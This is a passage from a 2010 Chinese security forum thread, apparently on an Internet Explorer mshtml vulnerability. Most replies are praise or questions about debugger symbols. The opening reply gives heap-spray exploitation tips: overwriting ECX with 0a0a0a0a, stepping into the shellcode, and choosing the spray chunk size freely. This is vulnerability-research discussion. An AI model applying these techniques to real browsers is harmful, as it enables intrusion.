od里环境有所改变 这时ecx 的值 没有被0a0a0a0a覆盖,你可以手动给ecx赋值 0a0a0a0a
单步进入call里执行,经过漫长的指令0a0a 0a0a 后就到shellcode 了。

heap spray 似乎不需要精确的shellcode定位 只需要申足够大的内存地址空间 把需要覆盖掉的指针地址覆盖掉 就ok了,属于暴力型的。所以这个chunk_size  你也可以自己试着随意给。
crdchen 2010-1-26 13:50
34
0
想问楼主下:
mshtml!CEventObj::GenericGetElement+0x99
mshtml!CEventObj::get_srcElement+0x15
这里的函数名是如何显示出来的?
我加载了符号表,但是没有显示的和你大不一样
shocking 2010-1-26 16:16
35
0
在ollydbg里面怎么找到这块有问题的代码?
孟贤 2010-1-29 20:18
36
0
拜膜小聪~拜膜漏洞~
qyc 4 2010-1-29 23:51
37
0
牛B,学习了
fhurricane 1 2010-1-30 14:09
38
0
多谢,仔细研究中
天翼 2010-1-30 14:14
39
0
恩,实在是佩服的五体投地。。。发现这个漏洞的人是个天才
梅花香 2010-1-30 19:21
40
0
不懂,但要坚持学
workman 2010-1-30 21:42
41
0
在此向小聪学习了。
我成功了 2010-1-30 21:48
42
0
大虾的分析实在精辟,应该是安全公司的人
囧囧囧囧 2010-1-31 01:21
43
0
哇。。来学习一下。
热火朝天 2010-1-31 01:41
44
0
纯支持了,看不懂的
rapit 2010-1-31 02:05
45
0
好恐怖哦
一不小心 就中招了......
火狼の吻 2010-1-31 23:22
46
0
学习中 顶了  谢谢lz
lullabyygh 2010-2-1 02:31
47
0
“不是起来得太早,是通宵了”,难道这就是99%的汗水,呵……小聪手艺愈发精湛了。
qihoocom 9 2010-2-1 14:17
48
0
楼主玩得也太晚了。上个月月中就玩过了,只花了半个小时
tzl 10 2010-2-2 15:17
49
0
学习中,很强大
吹风生 3 2010-2-2 19:24
50
0
顶楼主,分析的太棒了~~~
游客
登录 | 注册 方可回帖
返回